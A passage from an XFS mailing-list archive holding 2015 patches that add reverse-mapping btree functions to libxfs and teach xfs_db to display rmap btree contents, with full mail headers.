ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + + /* Re-add rmap with new logical offset */ + return xfs_rmapbt_insert(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff + start_adj)); +done: + return error; +} + +/* Change the size of an rmap */ +int +xfs_rmap_resize( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *PREV, + long size_adj) +{ + int i; + int error; + struct xfs_bmbt_irec irec; + struct xfs_rmap_irec rrec; + + if (!rcur) + return 0; + + trace_xfs_rmap_resize(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, PREV, size_adj); + + error = xfs_rmap_lookup_eq(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff), &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); + error = xfs_rmap_get_rec(rcur, &rrec, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); + irec = *PREV; + irec.br_blockcount += size_adj; + rrec.rm_blockcount = b2r_len(&irec); + error = xfs_rmap_update(rcur, &rrec); + if (error) + goto done; +done: + return error; +} diff --git a/libxfs/xfs_rmap_btree.c b/libxfs/xfs_rmap_btree.c index ed1792d..c02a46f 100644 --- a/libxfs/xfs_rmap_btree.c +++ b/libxfs/xfs_rmap_btree.c @@ -36,37 +36,29 @@ /* * Reverse map btree. * - * This is a per-ag tree used to track the owner of a given extent. Owner - * records are inserted when an extent is allocated, and removed when an extent - * is freed. For existing filesystems, there can only be one owner of an extent, - * usually an inode or some other metadata structure like a AG btree. - * - * Initial thoughts are that the - * value of the owner field needs external flags to define what it means, and - * hence we need a flags field in the record. This means the record is going to - * be larger than 16 bytes (agbno,len,owner = 16 bytes), so maybe this isn't the - * best idea. Initially just implement the owner field - we can probably steal - * bits from the extent length field for type descriptors given that MAXEXTLEN - * is only 21 bits if we want to store the type as well. Keep in mind that if we - * want to do this there are still restrictions on the length of extents we - * track in the rmap btree (see comments on xfs_rmap_free()). + * This is a per-ag tree used to track the owner(s) of a given extent. With + * reflink it is possible for there to be multiple owners, which is a departure + * from classic XFS. Owner records for data extents are inserted when the + * extent is mapped and removed when an extent is unmapped. Owner records for + * all other block types (i.e. metadata) are inserted when an extent is + * allocated and removed when an extent is freed. There can only be one owner + * of a metadata extent, usually an inode or some other metadata structure like + * an AG btree. * * The rmap btree is part of the free space management, so blocks for the tree * are sourced from the agfl. Hence we need transaction reservation support for * this tree so that the freelist is always large enough. This also impacts on * the minimum space we need to leave free in the AG. * - * The tree is ordered by block number - there's no need to order/search by - * extent size for online updating/management of the tree, and the reverse - * lookups are going to be "who owns this block" and so are by-block ordering is - * perfect for this. - * - * XXX: open question is how to handle blocks that are owned by the freespace - * tree blocks. Right now they will be classified when they are moved to the - * freelist or removed from the freelist. i.e. the extent allocation/freeing - * will mark the extents allocated as owned by the AG. + * The tree is ordered by [ag block, owner, offset]. This is a large key size, + * but it is the only way to enforce unique keys when a block can be owned by + * multiple files at any offset. There's no need to order/search by extent + * size for online updating/management of the tree. It is intended that most + * reverse lookups will be to find the owner(s) of a particular block, or to + * try to recover tree and file data from corrupt primary metadata. */ -STATIC struct xfs_btree_cur * + +static struct xfs_btree_cur * xfs_rmapbt_dup_cursor( struct xfs_btree_cur *cur) { @@ -177,6 +169,8 @@ xfs_rmapbt_init_key_from_rec( union xfs_btree_rec *rec) { key->rmap.rm_startblock = rec->rmap.rm_startblock; + key->rmap.rm_owner = rec->rmap.rm_owner; + key->rmap.rm_offset = rec->rmap.rm_offset; } STATIC void @@ -185,6 +179,8 @@ xfs_rmapbt_init_rec_from_key( union xfs_btree_rec *rec) { rec->rmap.rm_startblock = key->rmap.rm_startblock; + rec->rmap.rm_owner = key->rmap.rm_owner; + rec->rmap.rm_offset = key->rmap.rm_offset; } STATIC void @@ -195,6 +191,7 @@ xfs_rmapbt_init_rec_from_cur( rec->rmap.rm_startblock = cpu_to_be32(cur->bc_rec.r.rm_startblock); rec->rmap.rm_blockcount = cpu_to_be32(cur->bc_rec.r.rm_blockcount); rec->rmap.rm_owner = cpu_to_be64(cur->bc_rec.r.rm_owner); + rec->rmap.rm_offset = cpu_to_be64(cur->bc_rec.r.rm_offset); } STATIC void @@ -217,8 +214,16 @@ xfs_rmapbt_key_diff( { struct xfs_rmap_irec *rec = &cur->bc_rec.r; struct xfs_rmap_key *kp = &key->rmap; - - return (__int64_t)be32_to_cpu(kp->rm_startblock) - rec->rm_startblock; + __int64_t d; + + d = (__int64_t)be32_to_cpu(kp->rm_startblock) - rec->rm_startblock; + if (d) + return d; + d = (__int64_t)be64_to_cpu(kp->rm_owner) - rec->rm_owner; + if (d) + return d; + d = (__int64_t)be64_to_cpu(kp->rm_offset) - rec->rm_offset; + return d; } static bool @@ -242,7 +247,7 @@ xfs_rmapbt_verify( * from the on disk AGF. Again, we can only check against maximum limits * in this case. */ - if (block->bb_magic!= cpu_to_be32(XFS_RMAP_CRC_MAGIC)) + if (block->bb_magic != cpu_to_be32(XFS_RMAP_CRC_MAGIC)) return false; if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) @@ -312,7 +317,6 @@ const struct xfs_buf_ops xfs_rmapbt_buf_ops = { .verify_write = xfs_rmapbt_write_verify, }; - #if defined(DEBUG) || defined(XFS_WARN) STATIC int xfs_rmapbt_keys_inorder( @@ -320,8 +324,16 @@ xfs_rmapbt_keys_inorder( union xfs_btree_key *k1, union xfs_btree_key *k2) { - return be32_to_cpu(k1->rmap.rm_startblock) < - be32_to_cpu(k2->rmap.rm_startblock); + if (be32_to_cpu(k1->rmap.rm_startblock) < + be32_to_cpu(k2->rmap.rm_startblock)) + return 1; + if (be64_to_cpu(k1->rmap.rm_owner) < + be64_to_cpu(k2->rmap.rm_owner)) + return 1; + if (be64_to_cpu(k1->rmap.rm_offset) <= + be64_to_cpu(k2->rmap.rm_offset)) + return 1; + return 0; } STATIC int @@ -330,9 +342,16 @@ xfs_rmapbt_recs_inorder( union xfs_btree_rec *r1, union xfs_btree_rec *r2) { - return be32_to_cpu(r1->rmap.rm_startblock) + - be32_to_cpu(r1->rmap.rm_blockcount) <= - be32_to_cpu(r2->rmap.rm_startblock); + if (be32_to_cpu(r1->rmap.rm_startblock) < + be32_to_cpu(r2->rmap.rm_startblock)) + return 1; + if (be64_to_cpu(r1->rmap.rm_offset) < + be64_to_cpu(r2->rmap.rm_offset)) + return 1; + if (be64_to_cpu(r1->rmap.rm_owner) <= + be64_to_cpu(r2->rmap.rm_owner)) + return 1; + return 0; } #endif /* DEBUG */ diff --git a/libxfs/xfs_rmap_btree.h b/libxfs/xfs_rmap_btree.h index 9ad65e5..0131d9a 100644 --- a/libxfs/xfs_rmap_btree.h +++ b/libxfs/xfs_rmap_btree.h @@ -18,10 +18,6 @@ #ifndef __XFS_RMAP_BTREE_H__ #define __XFS_RMAP_BTREE_H__ -/* - * Freespace on-disk structures - */ - struct xfs_buf; struct xfs_btree_cur; struct xfs_mount; @@ -55,11 +51,41 @@ struct xfs_btree_cur *xfs_rmapbt_init_cursor(struct xfs_mount *mp, xfs_agnumber_t agno); int xfs_rmapbt_maxrecs(struct xfs_mount *mp, int blocklen, int leaf); +int xfs_rmap_lookup_le(struct xfs_btree_cur *cur, xfs_agblock_t bno, + xfs_extlen_t len, uint64_t owner, uint64_t offset, int *stat); +int xfs_rmap_lookup_eq(struct xfs_btree_cur *cur, xfs_agblock_t bno, + xfs_extlen_t len, uint64_t owner, uint64_t offset, int *stat); +int xfs_rmapbt_insert(struct xfs_btree_cur *rcur, xfs_agblock_t agbno, + xfs_extlen_t len, uint64_t owner, uint64_t offset); +int xfs_rmap_get_rec(struct xfs_btree_cur *cur, struct xfs_rmap_irec *irec, + int *stat); + +/* functions for updating the rmapbt for bmbt blocks and AG btree blocks */ int xfs_rmap_alloc(struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, - uint64_t owner); + struct xfs_owner_info *oinfo); int xfs_rmap_free(struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, - uint64_t owner); + struct xfs_owner_info *oinfo); + +/* functions for updating the rmapbt based on bmbt map/unmap operations */ +int xfs_rmap_combine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *LEFT, struct xfs_bmbt_irec *RIGHT, + struct xfs_bmbt_irec *PREV); +int xfs_rmap_lcombine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *LEFT, struct xfs_bmbt_irec *PREV); +int xfs_rmap_rcombine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *RIGHT, struct xfs_bmbt_irec *PREV, + struct xfs_bmbt_irec *new); +int xfs_rmap_insert(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *new); +int xfs_rmap_delete(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *new); +int xfs_rmap_move(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *PREV, long start_adj); +int xfs_rmap_slide(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *PREV, long start_adj); +int xfs_rmap_resize(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *PREV, long size_adj); #endif /* __XFS_RMAP_BTREE_H__ */ From darrick.wong@oracle.com Wed Oct 7 00:07:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3C65529E9A for ; Wed, 7 Oct 2015 00:07:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B58E2AC007 for ; Tue, 6 Oct 2015 22:07:20 -0700 (PDT) X-ASG-Debug-ID: 1444194438-04bdf020da0e910001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id uQ50lfp4dhlESCx2 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:19 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9757Ipq015883 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:18 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9757Hjg028776 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:17 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9757HkN025036; Wed, 7 Oct 2015 05:07:17 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:16 -0700 Subject: [PATCH 19/51] libxfs: implement XFS_IOC_SWAPEXT when rmap btree is enabled From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 19/51] libxfs: implement XFS_IOC_SWAPEXT when rmap btree is enabled To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:07:15 -0700 Message-ID: <20151007050715.1504.74080.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194438 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Synchronize the libxfs components of the kernel patch. No code in xfsprogs actually calls this. Signed-off-by: Darrick J. Wong --- libxfs/xfs_btree.c | 17 +++++++ libxfs/xfs_rmap.c | 112 +++++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs_rmap_btree.h | 8 +++ 3 files changed, 137 insertions(+) diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index 8baaf28..000267a 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -29,6 +29,7 @@ #include "xfs_trace.h" #include "xfs_cksum.h" #include "xfs_alloc.h" +#include "xfs_rmap_btree.h" /* * Cursor allocation zone. @@ -3989,6 +3990,8 @@ xfs_btree_block_change_owner( struct xfs_btree_block *block; struct xfs_buf *bp; union xfs_btree_ptr rptr; + struct xfs_owner_info old_oinfo, new_oinfo; + int error; /* do right sibling readahead */ xfs_btree_readahead(cur, level, XFS_BTCUR_RIGHTRA); @@ -4000,6 +4003,20 @@ xfs_btree_block_change_owner( else block->bb_u.s.bb_owner = cpu_to_be32(new_owner); + /* change rmap owners (bmbt blocks only) */ + if (cur->bc_flags & XFS_BTREE_LONG_PTRS) { + XFS_RMAP_INO_BMBT_OWNER(&old_oinfo, + cur->bc_private.b.ip->i_ino, + cur->bc_private.b.whichfork); + XFS_RMAP_INO_BMBT_OWNER(&new_oinfo, + new_owner, + cur->bc_private.b.whichfork); + error = xfs_rmap_change_bmbt_owner(cur, bp, &old_oinfo, + &new_oinfo); + if (error) + return error; + } + /* * If the block is a root block hosted in an inode, we might not have a * buffer pointer here and we shouldn't attempt to log the change as the diff --git a/libxfs/xfs_rmap.c b/libxfs/xfs_rmap.c index 12aac59..adc561f 100644 --- a/libxfs/xfs_rmap.c +++ b/libxfs/xfs_rmap.c @@ -33,6 +33,8 @@ #include "xfs_rmap_btree.h" #include "xfs_trans_space.h" #include "xfs_trace.h" +#include "xfs_bmap.h" +#include "xfs_bmap_btree.h" /* * Lookup the first record less than or equal to [bno, len, owner, offset] @@ -857,3 +859,113 @@ xfs_rmap_resize( done: return error; } + +/** + * Change ownership of a file's BMBT block reverse-mappings. + */ +int +xfs_rmap_change_bmbt_owner( + struct xfs_btree_cur *bcur, + struct xfs_buf *bp, + struct xfs_owner_info *old_owner, + struct xfs_owner_info *new_owner) +{ + struct xfs_buf *agfbp; + xfs_fsblock_t fsbno; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + int error; + + if (!xfs_sb_version_hasrmapbt(&bcur->bc_mp->m_sb) || !bp) + return 0; + + fsbno = XFS_DADDR_TO_FSB(bcur->bc_mp, XFS_BUF_ADDR(bp)); + agno = XFS_FSB_TO_AGNO(bcur->bc_mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(bcur->bc_mp, fsbno); + + error = xfs_read_agf(bcur->bc_mp, bcur->bc_tp, agno, 0, &agfbp); + + error = xfs_rmap_free(bcur->bc_tp, agfbp, agno, agbno, 1, old_owner); + if (error) + goto err; + + error = xfs_rmap_alloc(bcur->bc_tp, agfbp, agno, agbno, 1, new_owner); + if (error) + goto err; + +err: + xfs_trans_brelse(bcur->bc_tp, agfbp); + return error; +} + +/** + * Change the ownership on a file's extent's reverse-mappings. + */ +int +xfs_rmap_change_extent_owner( + struct xfs_mount *mp, + struct xfs_inode *ip, + xfs_ino_t ino, + xfs_fileoff_t isize, + struct xfs_trans *tp, + int whichfork, + xfs_ino_t new_owner) +{ + struct xfs_bmbt_irec imap; + struct xfs_btree_cur *cur = NULL; + struct xfs_buf *agfbp = NULL; + int nimaps; + xfs_fileoff_t offset; + xfs_filblks_t len; + xfs_agnumber_t agno; + int flags = 0; + int error; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 0; + + if (whichfork == XFS_ATTR_FORK) + flags |= XFS_BMAPI_ATTRFORK; + + offset = 0; + len = XFS_B_TO_FSB(mp, isize); + nimaps = 1; + error = xfs_bmapi_read(ip, offset, len, &imap, &nimaps, flags); + while (error == 0 && nimaps > 0) { + if (imap.br_startblock == HOLESTARTBLOCK || + imap.br_startblock == DELAYSTARTBLOCK) + goto advloop; + + agno = XFS_FSB_TO_AGNO(mp, imap.br_startblock); + + error = xfs_read_agf(mp, tp, agno, 0, &agfbp); + if (error) + break; + + cur = xfs_rmapbt_init_cursor(mp, tp, agfbp, agno); + + error = xfs_rmap_delete(cur, ino, whichfork, &imap); + if (error) + break; + error = xfs_rmap_insert(cur, new_owner, whichfork, &imap); + if (error) + break; + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + cur = NULL; + xfs_trans_brelse(tp, agfbp); + agfbp = NULL; +advloop: + offset += imap.br_blockcount; + len -= imap.br_blockcount; + nimaps = 1; + error = xfs_bmapi_read(ip, offset, len, &imap, &nimaps, flags); + } + + if (cur) + xfs_btree_del_cursor(cur, error ? XFS_BTREE_ERROR : + XFS_BTREE_NOERROR); + if (agfbp) + xfs_trans_brelse(tp, agfbp); + return error; +} diff --git a/libxfs/xfs_rmap_btree.h b/libxfs/xfs_rmap_btree.h index 0131d9a..5d248b5 100644 --- a/libxfs/xfs_rmap_btree.h +++ b/libxfs/xfs_rmap_btree.h @@ -88,4 +88,12 @@ int xfs_rmap_slide(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, int xfs_rmap_resize(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, struct xfs_bmbt_irec *PREV, long size_adj); +/* functions for changing rmap ownership */ +int xfs_rmap_change_extent_owner(struct xfs_mount *mp, struct xfs_inode *ip, + xfs_ino_t ino, xfs_fileoff_t isize, struct xfs_trans *tp, + int whichfork, xfs_ino_t new_owner); +int xfs_rmap_change_bmbt_owner(struct xfs_btree_cur *bcur, struct xfs_buf *bp, + struct xfs_owner_info *old_owner, + struct xfs_owner_info *new_owner); + #endif /* __XFS_RMAP_BTREE_H__ */ From darrick.wong@oracle.com Wed Oct 7 00:07:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5898C29E90 for ; Wed, 7 Oct 2015 00:07:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 486D1304032 for ; Tue, 6 Oct 2015 22:07:28 -0700 (PDT) X-ASG-Debug-ID: 1444194446-04cb6c578a0d950001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Txsn5YgciZXLv6Sj (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:26 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9757PLl015938 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:26 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9757PUL003349 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:25 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9757NTk007164; Wed, 7 Oct 2015 05:07:24 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:23 -0700 Subject: [PATCH 20/51] xfs_db: display rmap btree contents From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 20/51] xfs_db: display rmap btree contents To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 22:07:22 -0700 Message-ID: <20151007050722.1504.39087.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194446 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Teach the debugger how to dump the reverse-mapping btree contents. Signed-off-by: Dave Chinner [split patch, add commit message] Signed-off-by: Darrick J. Wong --- db/agf.c | 6 ++++++ db/btblock.c | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ db/btblock.h | 5 +++++ db/field.c | 9 +++++++++ db/field.h | 4 ++++ db/type.c | 3 +++ db/type.h | 2 +- 7 files changed, 78 insertions(+), 1 deletion(-) diff --git a/db/agf.c b/db/agf.c index e10526d..ffdd550 100644 --- a/db/agf.c +++ b/db/agf.c @@ -55,6 +55,9 @@ const field_t agf_flds[] = { { "cntroot", FLDT_AGBLOCK, OI(OFF(roots) + XFS_BTNUM_CNT * SZ(roots[XFS_BTNUM_CNT])), C1, 0, TYP_CNTBT }, + { "rmaproot", FLDT_AGBLOCK, + OI(OFF(roots) + XFS_BTNUM_RMAP * SZ(roots[XFS_BTNUM_RMAP])), C1, 0, + TYP_RMAPBT }, { "levels", FLDT_UINT32D, OI(OFF(levels)), CI(XFS_BTNUM_AGF), FLD_ARRAY|FLD_SKIPALL, TYP_NONE }, { "bnolevel", FLDT_UINT32D, @@ -63,6 +66,9 @@ const field_t agf_flds[] = { { "cntlevel", FLDT_UINT32D, OI(OFF(levels) + XFS_BTNUM_CNT * SZ(levels[XFS_BTNUM_CNT])), C1, 0, TYP_NONE }, + { "rmaplevel", FLDT_UINT32D, + OI(OFF(levels) + XFS_BTNUM_RMAP * SZ(levels[XFS_BTNUM_RMAP])), C1, 0, + TYP_NONE }, { "flfirst", FLDT_UINT32D, OI(OFF(flfirst)), C1, 0, TYP_NONE }, { "fllast", FLDT_UINT32D, OI(OFF(fllast)), C1, 0, TYP_NONE }, { "flcount", FLDT_UINT32D, OI(OFF(flcount)), C1, 0, TYP_NONE }, diff --git a/db/btblock.c b/db/btblock.c index 46140fc..e45ee03 100644 --- a/db/btblock.c +++ b/db/btblock.c @@ -96,6 +96,12 @@ struct xfs_db_btree { sizeof(xfs_inobt_rec_t), sizeof(__be32), }, + { XFS_RMAP_CRC_MAGIC, + XFS_BTREE_SBLOCK_CRC_LEN, + sizeof(struct xfs_rmap_key), + sizeof(struct xfs_rmap_rec), + sizeof(__be32), + }, { 0, }, }; @@ -607,3 +613,47 @@ const field_t cntbt_rec_flds[] = { { NULL } }; #undef ROFF + +/* RMAP btree blocks */ +const field_t rmapbt_crc_hfld[] = { + { "", FLDT_RMAPBT_CRC, OI(0), C1, 0, TYP_NONE }, + { NULL } +}; + +#define OFF(f) bitize(offsetof(struct xfs_btree_block, bb_ ## f)) +const field_t rmapbt_crc_flds[] = { + { "magic", FLDT_UINT32X, OI(OFF(magic)), C1, 0, TYP_NONE }, + { "level", FLDT_UINT16D, OI(OFF(level)), C1, 0, TYP_NONE }, + { "numrecs", FLDT_UINT16D, OI(OFF(numrecs)), C1, 0, TYP_NONE }, + { "leftsib", FLDT_AGBLOCK, OI(OFF(u.s.bb_leftsib)), C1, 0, TYP_RMAPBT }, + { "rightsib", FLDT_AGBLOCK, OI(OFF(u.s.bb_rightsib)), C1, 0, TYP_RMAPBT }, + { "bno", FLDT_DFSBNO, OI(OFF(u.s.bb_blkno)), C1, 0, TYP_CNTBT }, + { "lsn", FLDT_UINT64X, OI(OFF(u.s.bb_lsn)), C1, 0, TYP_NONE }, + { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, + { "owner", FLDT_AGNUMBER, OI(OFF(u.s.bb_owner)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, + { "recs", FLDT_RMAPBTREC, btblock_rec_offset, btblock_rec_count, + FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, + { "keys", FLDT_RMAPBTKEY, btblock_key_offset, btblock_key_count, + FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, + { "ptrs", FLDT_RMAPBTPTR, btblock_ptr_offset, btblock_key_count, + FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_RMAPBT }, + { NULL } +}; +#undef OFF + +#define KOFF(f) bitize(offsetof(struct xfs_rmap_key, rm_ ## f)) +const field_t rmapbt_key_flds[] = { + { "startblock", FLDT_AGBLOCK, OI(KOFF(startblock)), C1, 0, TYP_DATA }, + { NULL } +}; +#undef KOFF + +#define ROFF(f) bitize(offsetof(struct xfs_rmap_rec, rm_ ## f)) +const field_t rmapbt_rec_flds[] = { + { "startblock", FLDT_AGBLOCK, OI(ROFF(startblock)), C1, 0, TYP_DATA }, + { "blockcount", FLDT_EXTLEN, OI(ROFF(blockcount)), C1, 0, TYP_NONE }, + { "owner", FLDT_UINT64X, OI(ROFF(owner)), C1, 0, TYP_NONE }, + { NULL } +}; +#undef ROFF diff --git a/db/btblock.h b/db/btblock.h index 228eb36..35299b4 100644 --- a/db/btblock.h +++ b/db/btblock.h @@ -54,4 +54,9 @@ extern const struct field cntbt_crc_hfld[]; extern const struct field cntbt_key_flds[]; extern const struct field cntbt_rec_flds[]; +extern const struct field rmapbt_crc_flds[]; +extern const struct field rmapbt_crc_hfld[]; +extern const struct field rmapbt_key_flds[]; +extern const struct field rmapbt_rec_flds[]; + extern int btblock_size(void *obj, int startoff, int idx); diff --git a/db/field.c b/db/field.c index 843c385..8298f29 100644 --- a/db/field.c +++ b/db/field.c @@ -164,6 +164,15 @@ const ftattr_t ftattrtab[] = { { FLDT_CNTBTREC, "cntbtrec", fp_sarray, (char *)cntbt_rec_flds, SI(bitsz(xfs_alloc_rec_t)), 0, NULL, cntbt_rec_flds }, + { FLDT_RMAPBT_CRC, "rmapbt", NULL, (char *)rmapbt_crc_flds, btblock_size, + FTARG_SIZE, NULL, rmapbt_crc_flds }, + { FLDT_RMAPBTKEY, "rmapbtkey", fp_sarray, (char *)rmapbt_key_flds, + SI(bitsz(struct xfs_rmap_key)), 0, NULL, rmapbt_key_flds }, + { FLDT_RMAPBTPTR, "rmapbtptr", fp_num, "%u", + SI(bitsz(xfs_rmap_ptr_t)), 0, fa_agblock, NULL }, + { FLDT_RMAPBTREC, "rmapbtrec", fp_sarray, (char *)rmapbt_rec_flds, + SI(bitsz(struct xfs_rmap_rec)), 0, NULL, rmapbt_rec_flds }, + /* CRC field */ { FLDT_CRC, "crc", fp_crc, "%#x (%s)", SI(bitsz(__uint32_t)), 0, NULL, NULL }, diff --git a/db/field.h b/db/field.h index 11aebc3..82701bb 100644 --- a/db/field.h +++ b/db/field.h @@ -80,6 +80,10 @@ typedef enum fldt { FLDT_CNTBTKEY, FLDT_CNTBTPTR, FLDT_CNTBTREC, + FLDT_RMAPBT_CRC, + 